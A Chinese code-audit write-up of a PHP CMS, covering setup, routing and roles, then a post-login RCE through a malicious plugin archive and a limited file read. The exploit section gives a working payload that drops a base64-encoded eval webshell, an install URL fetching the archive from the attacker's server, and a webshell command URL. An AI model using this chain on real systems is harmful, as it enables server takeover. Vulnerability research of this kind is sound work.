项目介绍
该CMS兼容PHP5.6-PHP7,可使用 MySQL 或 PostgreSQL ,使用了Pimple依赖注入容器去实现存储各种服务和对象的实例,例如控制器的注册和管理,中间件的注册。
功能特性:
-
简洁、美观的界面
-
支持多主题
-
可视化的任务管理
-
支持列表、看板和甘特图等任务视图
-
可拖拽式的任务操作
-
支持多语言,内置英文和简体中文语言包
-
过滤搜索
-
可创建团队项目和个人项目
-
支持任务、子任务、附件和评论
-
动作自动触发
-
可视化的统计
-
第三方集成
-
支持插件
部署
一. 设置配置文件
cp .env.example .env
APP_ENV=production
APP_DEBUG=true
APP_KEY=SomeRandomString
APP_TIMEZONE=Asia/Shanghai
APP_LOCALE=zh-CN
APP_THEME=black
APP_LOG=daily
APP_LOG_LEVEL=error
APP_URL=http://localhost
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=xxx
DB_USERNAME=root
DB_PASSWORD=123456
二. 安装依赖包
先把composer.json的49行开始的改成这样
"autoload" : {
"classmap" : ["app/"],
"psr-4" : {
"cmsname\" : "app/",
"PicoDb\": "vendor/cmsname/picodb/src/",
"SimpleLogger\":"vendor/cmsname/simple-logger/src",
"JsonRPC\":"vendor/cmsname/json-rpc/src",
"SimpleValidator\":"vendor/cmsname/simple-validator/src"
},
"files" : [
"app/helpers.php"
]
},
不然后面就会加载不出UrlParser类,上nginx的时候会找不到SimpleLogger和JsonRPC还有Validator
出现如下找不到对应类的报错
Phinx by Rob Morgan - https://phinx.org. 0.6.6
using config file ./phinx.php
PHP Fatal error: Uncaught Error: Class 'PicoDbUrlParser' not found in /var/www/cmsname/bootstrap/autoload.php:17
Stack trace:
#0 /var/www/cmsname/phinx.php(18): require()
#1 /var/www/cmsname/vendor/robmorgan/phinx/src/Phinx/Config/Config.php(111): include('/var/www/jitami...')
#2 /var/www/cmsname/vendor/robmorgan/phinx/src/Phinx/Console/Command/AbstractCommand.php(248): PhinxConfigConfig::fromPhp('/var/www/jitami...')
#3 /var/www/cmsname/vendor/robmorgan/phinx/src/Phinx/Console/Command/AbstractCommand.php(92): PhinxConsoleCommandAbstractCommand->loadConfig(Object(SymfonyComponentConsoleInputArgvInput), Object(SymfonyComponentConsoleOutputConsoleOutput))
#4 /var/www/cmsname/vendor/robmorgan/phinx/src/Phinx/Console/Command/Migrate.php(72): PhinxConsoleCommandAbstractCommand->bootstrap(Object(SymfonyComponentConsoleInputArgvInput), Object(SymfonyComponentConsoleOutputConsoleOutput))
#5 /var/www/cmsname/vendor/symfony/console/Command/Command.php(251): PhinxConsoleCommandMigrate->execute(Object(Symfony in /var/www/cmsname/bootstrap/autoload.php on line 17
之后 composer install
这里在win可能会出现错误,可选择在linux环境下载依赖,再把/vendor复制过来
三. 安装数据库迁移和初始数据
-
创建数据表
vendor/bin/phinx migrate
-
安装初始数据
vendor/bin/phinx seed:run
四. 确保bootstrap/cache和storage目录可写。
$ chmod -R 0777 bootstrap/cache
$ chmod -R 0777 storage
五. 配置Web服务器
将Web服务器的根目录指向 public/
路由转发
-
启动时bootstrap/app.php里面调用Container.php的
register(ServiceProviderInterface $provider, array $values = array())
去加载各种服务
-
ServiceProviderInterface
接口的路由部分被RouteServiceProvider
实现,我们主要关注这个路由的ServiceProvider
-
RouteServiceProvider
类实现了ServiceProviderInterface
接口,负责将路由相关的服务注册到容器中。 -
通过
register()
方法,将Route
和Router
注册到Pimple
容器中,遍历加载routes
目录下面的路由表。
-
进到index.php的
excute()
,在Application.php
类里面跟进到,有个$this->container['router']->dispatch();
-
因为
$controller === ''
,进到findRoute()
,也就是之前被注册的Route类里面,然后去解析出来controller,action,plugin。
-
回到
Application.php
,执行executeMiddleware()
加载中间件,执行executeController()
加载控制器,
-
调用
$controllerObject->{$this->router->getAction()}();
(调了在Router.php里面的方法)执行具体的控制器动作。
其实就是executeMiddleware一个反射,先$controllerObject = new controller(),再$controllerObject->{$this->router->getAction()}()
鉴权分析
Foundation/Security/Role.php里面划分了权限等级
class Role
{
const APP_ADMIN = 'app-admin';
const APP_MANAGER = 'app-manager';
const APP_USER = 'app-user';
const APP_PUBLIC = 'app-public';
const PROJECT_MANAGER = 'project-manager';
const PROJECT_MEMBER = 'project-member';
const PROJECT_VIEWER = 'project-viewer';
/**
* Get application roles.
*
* @return array
*/
public function getApplicationRoles()
{
return [
self::APP_ADMIN => t('Administrator'),
self::APP_MANAGER => t('Manager'),
self::APP_USER => t('User'),
];
}
/**
* Get project roles.
*
* @return array
*/
public function getProjectRoles()
{
return [
self::PROJECT_MANAGER => t('Project Manager'),
self::PROJECT_MEMBER => t('Project Member'),
self::PROJECT_VIEWER => t('Project Viewer'),
];
}
}
鉴权的服务也是像上面关于路由转发的流程一样,往容器里面注册一个AuthServiceProvider(鉴权部分先注册)
然后在getProjectAccessMap()
里依据上面划分的权限,分配了各个Controller的权限
在访问login路由时,由app/Http/Controllers/Auth/AuthController.php实现鉴权,会进到login方法
登陆时会进到login下面的check方法
cookie的部分是app/Foundation/Session/SessionManager.php,生成JM_SID,app/Foundation/Http/RememberMeCookie.php,生成JM_RM
漏洞挖掘
后台漏洞-插件RCE
访问路由时,index.php会require bootstrap/app.php,类似java的SPI会调用各个Provider的register。
PluginServiceProvider会扫描插件
scan()
方法扫描plugins目录下有无目录,有的话先执行loadSchema。
hasSchema()
->getSchemaFilename()
去找/pluginName/Schema/mysql.php,取决于使用哪种数据库
public function loadSchema($pluginName)
{
if (SchemaHandler::hasSchema($pluginName)) {
$schemaHandler = new SchemaHandler($this->container);
$schemaHandler->loadSchema($pluginName);
}
}
public static function hasSchema($pluginName)
{
return file_exists(self::getSchemaFilename($pluginName));
}
public static function getSchemaFilename($pluginName)
{
return PLUGINS_DIR.'/'.$pluginName.'/Schema/'.ucfirst(DB_DRIVER).'.php';
}
如果找到的话就loadSchema()
去require
public function loadSchema($pluginName)
{
require_once self::getSchemaFilename($pluginName);
$this->migrateSchema($pluginName);
}
根据上述流程做一个压缩包test.zip,结构为test/Schema/mysql.php
mysql.php
file_put_contents("webshell.php",base64_decode("PD9waHAgQGV2YWwoJF9HRVRbMV0pOw=="));
if(file_exists("../plugins/ABC")){
deldir("../plugins/ABC");
}
function deldir($dir) {
//先删除目录下的文件:
$dh=opendir($dir);
while ($file=readdir($dh)) {
if($file!="." && $file!="..") {
$fullpath=$dir."/".$file;
if(!is_dir($fullpath)) {
unlink($fullpath);
} else {
deldir($fullpath);
}
}
}
closedir($dh);
//删除当前文件夹:
if(rmdir($dir)) {
return true;
} else {
return false;
}
}
在app/Http/Controllers/Admin/PluginController.php里面,archive_url可控,按照之前对于路由的分析,action=install即可触发,路由为Admin/PluginController
public function install()
{
$pluginArchiveUrl = urldecode($this->request->getStringParam('archive_url'));
try {
$installer = new Installer($this->container);
$installer->install($pluginArchiveUrl);
$this->flash->success(t('Plugin installed successfully.'));
} catch (PluginInstallerException $e) {
$this->flash->failure($e->getMessage());
}
$this->response->redirect($this->helper->url->to('Admin/PluginController', 'show'));
}
把压缩包挂在自己vps上,admin登陆后访问
http://127.0.0.1/?controller=Admin/PluginController&action=install&archive_url=http://yourIP:port/test.zip
去触发下载插件
完成RCE
http://127.0.0.1/webshell.php?1=system(%22whoami%22);
潜在危害
任意文件读取 filename部分可控。前缀不可控。
http://127.0.0.1/?controller=Profile/AvatarController&action=image&user_id=1&size=123
这个只能实现读取admin头像
$filename = $this->path.DIRECTORY_SEPARATOR.$key;
if (!file_exists($filename)) {
throw new ObjectStorageException('File not found: '.$filename);
}
return file_get_contents($filename);
filename从数据库里取,上传头像那里路径完全不可控,avator难以利用。如果找到一个sql注入,修改user里的avator地址那么就可以实现读取任意文件。
原文始发于微信公众号(UKFC安全):某PHPCMS代码审计
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论